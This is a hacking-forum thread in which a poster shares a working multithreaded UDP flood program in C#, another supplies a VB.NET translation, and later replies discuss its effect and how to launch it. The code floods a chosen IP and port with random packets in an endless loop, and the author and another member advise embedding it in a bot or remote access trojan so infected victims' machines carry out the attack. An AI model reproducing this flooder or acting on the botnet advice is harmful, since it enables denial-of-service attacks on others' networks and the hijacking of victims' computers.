Hack Forums
[C#] [C#][VB.NET] MultiThreaded + Multi Sockets + Random Packets UDP Flood exemple - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [C#] [C#][VB.NET] MultiThreaded + Multi Sockets + Random Packets UDP Flood exemple (/showthread.php?tid=476549)

Pages: Pages 1 2


[C#][VB.NET] MultiThreaded + Multi Sockets + Random Packets UDP Flood exemple - t0fx - Jun 12, 2010

Haven't tried but programaticaly it should work.

Code
// MultiThreaded + Multi Sockets + Random Packets UDP Flood exemple by t0fx
// visit my website : http://www.malwares-in.net
// Give credits if you use this code, thanks

using System;
using System.Net;
using System.Net.Sockets;
using System.Text;
using System.Threading;
using System.Collections.Generic;

namespace UDPflooder
{
    class Program
    {
  //Config
  private static string DESTINATION_IP_ADDRESS = "127.0.0.1";
  private static int DESTINATION_PORT = 80;
  private static int UDP_THREADS = 100;
  private static int UDP_SOCKETS = 5;
  private static int UDP_DELAY = 1000;  // loop every 1000ms
  //End Config

  private static void SendUDP()
  {
    System.Threading.Thread newThread;
    newThread = new Thread(new ThreadStart(UDPsender));
    newThread.Start();
  }

  public static void UDPsender()
  {
    IPAddress destinationIPaddress = IPAddress.Parse(DESTINATION_IP_ADDRESS);
    IPEndPoint ep = new IPEndPoint(destinationIPaddress, DESTINATION_PORT);
    Random rnd = new Random();
    Byte[] b = new Byte[1470];
    rnd.NextBytes(b);
    for (int i = 0; i < UDP_SOCKETS; i++)
    {
    Socket s = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp);
    s.SendTo(b, ep);
    Thread.Sleep(UDP_DELAY);
    }

  }

  static void Main(string[] args)
  {
    while (true)
    {
    for (int i = 0; i < UDP_THREADS; i++)
    {
    SendUDP();
    }
    }

  }
    }
}



* - xhtmlphp™ - Jun 12, 2010

Nice T0fx, I'm studying the code at the moment, I want to learn how to multi-thread I've never done it before xD

Thanks for the source <3


* - Diebspiel - Jun 12, 2010

VB.NET:

Code
' MultiThreaded + Multi Sockets + Random Packets UDP Flood exemple by t0fx
' visit my website : http://www.malwares-in.net
' Give credits if you use this code, thanks

Imports System.Net
Imports System.Net.Sockets
Imports System.Text
Imports System.Threading
Imports System.Collections.Generic

Namespace UDPflooder
    Class Program
        'Config
        Private Shared DESTINATION_IP_ADDRESS As String = "127.0.0.1"
        Private Shared DESTINATION_PORT As Integer = 80
        Private Shared UDP_THREADS As Integer = 100
        Private Shared UDP_SOCKETS As Integer = 5
        Private Shared UDP_DELAY As Integer = 1000
        ' loop every 1000ms
        'End Config
        Private Shared Sub SendUDP()
            Dim newThread As System.Threading.Thread
            Dim t As New Thread(AddressOf UDPsender)
            t.Start()
        End Sub

        Public Shared Sub UDPsender()
            Dim destinationIPaddress As IPAddress = IPAddress.Parse(DESTINATION_IP_ADDRESS)
            Dim ep As New IPEndPoint(destinationIPaddress, DESTINATION_PORT)
            Dim rnd As New Random()
            Dim b As [Byte]() = New [Byte](1469) {}
            rnd.NextBytes(b)
            For i As Integer = 0 To 4
                Dim s As New Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp)
                s.SendTo(b, ep)
                Thread.Sleep(UDP_DELAY)
            Next

        End Sub

        Private Shared Sub Main(args As String())
            While True
                For i As Integer = 0 To UDP_THREADS - 1
        SendUDP()
                Next
            End While

        End Sub
    End Class
End Namespace



* - t0fx - Jun 12, 2010

(Jun 12, 2010 01:20 PM)Diebspiel Wrote:  VB.NET

thanks for translation, I edited the thread topic name.


* - PurpleHaze - Oct 20, 2010

By having 100 threads going won't that cause the computer to crash or go extremely slow?


* - Black-Blood™ - Oct 20, 2010

Sure but this isn't supposed to be a mass connection chat. But who uses more than 100 connections running on his PC ^^


* - PurpleHaze - Oct 22, 2010

Is it normal that while running this that I get knocked off my internet connection? I checked my network activity and it is still sending the packets, just I can't actually connect to anything else.


* - c6p0 - Oct 22, 2010

thanks tofx nice share usefull!


* - Ĥ4Ж0Ŕ - Oct 23, 2010

Nice post as always t0fx, and would you please tell me the meaning of that integer "1470" in the source, I mean why does it have to be 1470 and not another one?
Code
Byte[] b = new Byte[1470];
sorry for the n00b question 😝


* - t0fx - Oct 23, 2010

(Oct 23, 2010 10:00 AM)Ĥ4Ж0Ŕ Wrote:  Nice post as always t0fx, and would you please tell me the meaning of that integer "1470" in the source, I mean why does it have to be 1470 and not another one?
Code
Byte[] b = new Byte[1470];
sorry for the n00b question 😝

I read that it's the max size a windows packet can handle.


* - Modesty - Oct 23, 2010

(Oct 22, 2010 07:25 PM)PurpleHaze Wrote:  Is it normal that while running this that I get knocked off my internet connection? I checked my network activity and it is still sending the packets, just I can't actually connect to anything else.

You are bottlenecking your own network. It's like trying to dos something with 500 threads that are sending packets, yet its going to fuck over your connection first.


* - t0fx - Oct 23, 2010

(Oct 23, 2010 02:53 PM)P Y R O Wrote:  You are bottlenecking your own network. It's like trying to dos something with 500 threads that are sending packets, yet its going to fuck over your connection first.

right, you have to use this code into a bot or a rat, so you will not fuck your own connection and it will be more effective.


* - Modesty - Oct 23, 2010

(Oct 23, 2010 03:03 PM)t0fx Wrote:  right, you have to use this code into a bot or a rat, so you will not fuck your own connection and it will be more effective.

Indeed. Yet you will most likely start to lose your connections so make sure your clients that you infected your bots with have a good reconnection method!


* - zeltronMLG - Jun 5, 2016

ight tell me this, HOW DO I StART THE ATTACK AND STOP IT.


* - omghowbig - Jun 6, 2016

Interesting post. getting good test of ot